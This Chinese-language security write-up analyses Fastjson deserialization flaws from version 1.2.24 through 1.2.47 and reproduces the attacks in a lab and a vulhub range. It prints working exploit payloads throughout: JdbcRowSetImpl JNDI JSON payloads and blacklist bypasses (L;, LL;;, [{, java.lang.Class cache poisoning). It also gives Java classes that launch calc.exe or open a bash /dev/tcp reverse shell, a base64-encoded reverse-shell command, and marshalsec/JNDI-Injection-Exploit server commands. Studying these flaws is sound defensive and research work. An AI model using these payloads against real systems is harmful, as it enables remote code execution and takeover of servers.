Fastjson概述

fastjson是一个阿里巴巴开源得Java库,用于将对象转化为JSON的表达形式,也可以将JSON字符串转换为等价得java对象,Fastjson反序列化用于将json字符串住转换为Java对象的过程。转换常用的方法主要有3种

1
2
3
parseObject(String text,Class<T> class)    //将json转换为对象
parseArray(String text,Class<T> class) //将json转换为java集合
toJSONString(Object object) //将json转换为对象

示例:

pom.xml导入fastjson

1
2
3
4
5
6
7
8
<dependencies>
<!-- FastJSON 依赖 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>

首先写一个测试类User

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

class User {
private Long id;
private String name;
private Integer age;

// 必须有无参构造 + getter/setter(FastJSON 反射需要)
public User() {}

public Long getId() { return id; }
public void setId(Long id) { this.id = id; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }

@Override
public String toString() {
return "User{id=" + id + ", name='" + name + "', age=" + age + "}";
}
}

测试demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import com.alibaba.fastjson.JSON;

import java.util.List;

// 测试主类
class FastJsonDemo {
public static void main(String[] args) {
// ==============================
// 1. JavaBean → JSON字符串
// toJSONString(Object obj)
// ==============================
User user = new User();
user.setId(1L);
user.setName("张三");
user.setAge(20);

String jsonStr = JSON.toJSONString(user);
System.out.println("对象转JSON:" + jsonStr);
// 输出:{"age":20,"id":1,"name":"张三"}

String json = "{\"id\":2,\"name\":\"李四\",\"age\":25}";
User userObj = JSON.parseObject(json, User.class);
System.out.println("JSON转对象:" + userObj);
// 输出:User{id=2, name='李四', age=25}
}
}

运行实例

image-20260519214012514

Fastjson-1.2.24

AutoType

AutoType是自定义的机制,而不是使用java序列化机制,当类中包含接口或者抽象类时使用fastjson序列化时会将子类抹去,只留下接口或者抽象类得类型,反序列化时无法获得原始类型,举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.alibaba.fastjson.JSON;

import java.util.List;
interface Score{}

class Math implements Score{
private double score;

public void setScore(double score){
this.score = score;
}

public double getScore(){
return score;
}
}

class English implements Score{
private double score;
public void setScore(double score){
this.score = score;
}
public double getScore(){
return score;
}
}
class test{
public static void main(String[] args) {
Math m=new Math();
m.setScore(149);
English e=new English();
e.setScore(150);
String jsonStr = JSON.toJSONString(e);
String jsonstr=JSON.toJSONString(m);
System.out.println(jsonStr);
System.out.println(jsonstr);

}
}

这里定义了两个类继承接口,英语成绩为150,数学成绩为149,当序列化为json输出结果

image-20260520091940793

这里只输出为149,150,并不知道哪个是英语成绩,哪个是数学成绩,这里就存在弊端,然后就有了Fastjson独创的AutoType,在序列化时自动往json中加一个@type字段,这个字段储存的就是Java类的全类名。Fastjson要想序列化带上类型,反序列化能够识别子类必须开启SeriliazeFeature.WriteClassName,参考示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.util.List;
interface Score{}

class Math implements Score{
private double score;

public void setScore(double score){
this.score = score;
}
// 取值
public double getScore(){
return score;
}
}

class English implements Score{
private double score;
public void setScore(double score){
this.score = score;
}
public double getScore(){
return score;
}
}
class test{
public static void main(String[] args) {
Math m=new Math();
m.setScore(149.0);
English e=new English();
e.setScore(150.0);
String jsonStr = JSON.toJSONString(e);
String jsonstr=JSON.toJSONString(m);
String jsonMath = JSON.toJSONString(m, SerializerFeature.WriteClassName);
String jsonEnglish = JSON.toJSONString(e, SerializerFeature.WriteClassName);
System.out.println(jsonStr);
System.out.println(jsonstr);
System.out.println(jsonMath);
System.out.println(jsonEnglish);


}
}

image-20260520093455782

由于AutoType在反序列化时json字符串时,会自动识别@type的内容,尝试把这个JSON内容反序列化为对象,并调用setter或者getter,因此可以构造一个恶意json来执行命令

JdbcRowSetlmpl利用链

setAutoCommit()代码

1
2
3
4
5
6
7
8
9
10
11
public void setAutoCommit(boolean autoCommit) throws SQLException {

if(conn != null) {
conn.setAutoCommit(autoCommit);
} else {

conn = connect();
conn.setAutoCommit(autoCommit);

}
}

当conn连接为null时,回主动调用connect()方法建立数据连接,看一下connect()方法

image-20260521191519100

1
2
3
4
5
} else if (getDataSourceName() != null) {
// Connect using JNDI.
try {
Context ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup(getDataSourceName());

这是漏洞的核心,如何设置了datasourcename就走JNDI查找,只要lookup地地址是攻击者恶意RMP/LDA服务器就可以远程执行代码,这里参数是getDataSourceName(),看一下是是怎么定义的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public String getDataSourceName() {
return dataSource;
}
public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

关键是这个setDataSourceName,当利用fastjson反序列化时,自动调用set方法,构造json时,传入{"datasourceName":"ldap://xxxx"}就会调用 setDataSourceName,然后赋值dataSource = ldap://xxxx,然后在构造一个json触发 connect(),即{"autoCommit":"ture"}反序列化时会自动执行setAutoCommit—>connect()然后会进行一个if判断

1
if (getDataSourceName() != null)

上面给出了getDataSourceName()就会返回dataSource,刚才已经通过setDataSourceName给dataSource赋值了,通过if判断最后执行的就是lookup(getDataSourceName()通过远程服务器执行恶意命令。payload

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://xxxxx",
"autoCommit":true
}

漏洞复现

首先创建一个恶意类

1
2
3
4
5
6
7
8
9
public class fastjson {
static {
try {
Runtime.getRuntime().exec("calc.exe"); // 在 Windows 上弹出计算器
} catch (Exception e) {
e.printStackTrace();
}
}
}

编译为class文件,这里要注意版本,高版本对JNDI远程类加载做了限制,编译过后起一个http服务

image-20260528204647166

接下来使用marshalsec项目,启动LDAP服务,监听9999端口并加载远程类fastjson.class

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.128:7777/#fastjson" 9999

一切准备就绪,在windows执行代码

1
2
3
4
5
6
7
8
9
10
package org.example.fastjsontest;

import com.alibaba.fastjson.JSON;

class Server {
public static void main(String[] args) {
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.100.128:9999/fastjson\",\"autoCommit\":true}";
JSON.parseObject(poc);
}
}

image-20260528204910496

靶场复现

使用vulhub靶场,项目地址vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

启动容器后抓包修改为POST,Content-Type修改为json,这次尝试反弹shell,恶意类

1
2
3
4
5
6
7
8
9
10
class fastjson{
static{
try{
String[] cmds={"/bin/bash","-c","bash -i >& /dev/tcp/192.128.100.128/4444 0>&1"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
}
}

编译好起一个http服务,然后再开启LADP服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.128:7777/#fastjson" 9999

payload

1
2
3
4
5
6
7
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.100.128:9999/fastjson",
"autoCommit":true
}
}

image-20260522212406332

还有另外一种比较快捷的方法

welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

JNDI注入利用工具,生成JNDI链接并启动后端相关服务。下载后使用命令编译mvn clean package -DskipTests

image-20260522205448211

构造反弹shell命令

1
bash -i >& /dev/tcp/ip/port 0>&1
1
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.100.128

运行会给出恶意链接

image-20260522205839672

1
2
3
4
5
6
7
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.100.128:1389/bnvok4",
"autoCommit":true
}
}

image-20260528204438901

反弹成功。

Fastjson-1.2.25

在pox.xml文件中修改

1
2
3
4
5
6
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
</dependencies>

再次尝试运行脚本

1
2
3
4
5
6
7
8
9
10
package org.example.fastjsontest;

import com.alibaba.fastjson.JSON;

class Server {
public static void main(String[] args) {
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.100.128:9999/fastjson\",\"autoCommit\":true}";
JSON.parseObject(poc);
}
}

image-20260528162524179

在1.2.25版本中Fastjson已经开始限制AutoType,在com.alibaba.fastjson.parser.ParserConfig主要分析这个checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

如果开启了autoType首先是判断类名是不是在白名单中,如果在直接TypeUtils.loadClass 加载,然后是遍历黑名单只要 @type对应的类名以黑名单任意前缀开头,直接抛异常。

没有开始autoType

1
2
3
4
5
6
7
8
9
10
11
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

关闭 autoType,先是黑名单匹配,白名单加载类

1
2
3
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

开启autoTypeSupport或者expectClass不为空,就会TypeUtils.loadClass加载,跟进分析一下loadClass

1
2
3
4
5
6
7
8
9
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

一个是加载数组类,只要第一个字符是 [,递归调用 loadClass 加载后面的类,另一个是处理类签名,Lxxxx;会去掉L,;截取中间的字符串,loadClass加载类。

这里就出现漏洞,判断类与实际加载类不同,在1.2.24版本中使用的类JdbcRowSetImpl在黑名单中,只要开启autoType,在JdbcRowSetImpl前后加上L;即可绕过黑名单,payload

1
2
3
4
5
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://192.168.100.128:9999/fastjson",
"autoCommit": true
}

这里需要在json解析前开启autoType,

1
2
3
4
5
6
7
8
9
10
11
12
package org.example.fastjsontest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

class Server {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://192.168.100.128:9999/fastjson\",\"autoCommit\":true}";
JSON.parseObject(poc);
}
}

image-20260528175120690

Fastjson-1.2.42

在这个版本中,定义的黑名单不是使用明文,而是hash

image-20260528180257570

在checkAutoType中增加了

image-20260528181519664

代码作用是将Lxxx;修改为xxxx,双写就可以绕过,paylaod

1
2
3
4
5
{
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://192.168.100.128:9999/fastjson",
"autoCommit": true
}

image-20260528181157562

Fastjson-1.2.43

在1.2.43版本中又增加了新限制
image-20260528190310364

这里匹配类名得前两个字符,前两个字符是LL就是直接报错,这里需要换一种写法,使用[{绕过,payload

1
2
3
4
5
{
"@type": "[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName": "ldap://192.168.100.128:9999/fastjson",
"autoCommit": true
}

这个畸形json利用了Fastjson解析器对非标准格式的宽松处理,[{会触发数组类型的反序列化,同时也会绕过黑名单,下断点看一下

image-20260528210803154

代码执行到loadClass,可以看到解析的类名是[com.sun.rowset.JdbcRowSetImpl,进入到loadClass,执行下代码

1
2
3
4
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

成功加载类。

1
2
3
4
5
6
7
8
9
10
11
12
package org.example.fastjsontest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

class Server {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://192.168.100.128:9999/fastjson\",\"autoCommit\":true}";
JSON.parseObject(poc);
}
}

image-20260528211349717

Fastjson-1.2.47

前面几个执行的前提是需要开启autoType,在这个版本下可以不开启 AutoTypeSupport 的情况下进行反序列化的利用,还是看checkAutoType

1
2
3
4
5
6
7
if (h1 == 0xaf64164c86024f1aL) { // [开头抛出异常
throw new JSONException("autoType is not support. " + typeName);
}

if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { //L;抛出异常
throw new JSONException("autoType is not support. " + typeName);
}

image-20260528213710725

开启了autoType就会先是白名单校验,匹配成功直接加载类,然后是黑名单检查,如果类在黑名单中并且这个类没有缓存过,抛出异常,这两个条件缺一不可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Class<?> clazz = null;
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
} //尝试在缓存中查找类

if (clazz == null) {
clazz = deserializers.findClass(typeName);
} //在deserializers中查找类
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
} //如果找到就return

image-20260528215005570

如果autoType没有开启,就会先匹配黑名单,然后是白名单匹配成功的话加载类,如果clazz还为空就加载类。上面分析到在autoType默认没有开始时,程序直接检查黑名单并抛出异常,如果在TypeUtils.mappings和deserialize中能够找到目标类,就会return,这样就不会执行下面的黑名单检测。

在TypeUtils中有loadClass()代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} //处理数组
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} //处理字节码
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
} //使用传入的指定 classLoader
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
} //当前线程的上下文类加载器
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
} //使用Class.forName()

只要能控制这个函数的参数,就可以向缓存中写入类,查看有那些类调用了这个方法

image-20260529174951388

关键就是这个MiscCodec.java,分析一下关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}
String strVal;

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;

这段话代码的作用是当parser.resolveStatus =TypeNameRedirect就会解析json内容,将val的值放入到objVal,然后把objVal赋值给strVal,

1
2
3
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

目标类型是Class.class,直接把strVal当作类名,调用TypeUtils.loadClass加载把类写入到缓存中。

1
2
3
4
5
6
7
8
9
10
11
12
package org.example.fastjsontest;

import com.alibaba.fastjson.JSON;

class Server {
public static void main(String[] args) {

String poc = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";

JSON.parseObject(poc);
}
}

image-20260529182527906

这里已经把恶意类赋值给strVal,接下来调用loadClass

image-20260529182758613

可以看到已经把恶意类加载进去了,接下来就可以绕过黑名单从缓存中加载类,最后的paylaod

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.100.128:9999/#fastjson,
"autoCommit": true
}
}
1
2
3
4
5
6
7
8
9
10
package org.example.fastjsontest;

import com.alibaba.fastjson.JSON;

class Server {
public static void main(String[] args) {
String poc = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.100.128:9999/fastjson\",\"autoCommit\":true}}";
JSON.parseObject(poc);
}
}

image-20260529184503449